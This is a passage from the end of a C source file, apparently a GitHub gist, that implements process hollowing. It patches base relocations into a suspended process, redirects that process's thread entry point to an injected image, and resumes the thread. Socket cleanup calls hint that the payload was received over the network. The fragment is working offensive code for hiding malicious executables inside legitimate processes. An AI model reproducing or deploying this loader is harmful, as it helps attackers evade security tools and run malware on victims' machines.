PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset); | |
for (DWORD y = 0; y < relocationEntryCount; y++) | |
{ | |
relocationOffset += sizeof(BASE_RELOCATION_ENTRY); | |
if (relocationEntries[y].Type == 0) | |
{ | |
continue; | |
} | |
DWORD patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset; | |
DWORD patchedBuffer = 0; | |
bResult = ReadProcessMemory(pi.hProcess,(LPCVOID)((DWORD)lpDestinationBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesRead); | |
patchedBuffer += deltaImageBase; | |
bResult = WriteProcessMemory(pi.hProcess, (PVOID)((DWORD)lpDestinationBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesWritten); | |
} | |
} | |
} | |
// Get context of the dest process thread | |
CONTEXT context; | |
ZeroMemory(&context, sizeof(context)); | |
context.ContextFlags = CONTEXT_INTEGER; | |
GetThreadContext(pi.hThread, &context); | |
// Update dest image entry point to the new entry point of the source image and resume dest image thread | |
DWORD patchedEntryPoint = (DWORD)lpDestinationBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint; | |
context.Eax = patchedEntryPoint; | |
SetThreadContext(pi.hThread, &context); | |
ResumeThread(pi.hThread); | |
// Wait for the process to finish | |
#ifdef WAITFOR | |
WaitForSingleObject(pi.hProcess, INFINITE); | |
closesocket(client); | |
WSACleanup(); | |
#endif | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment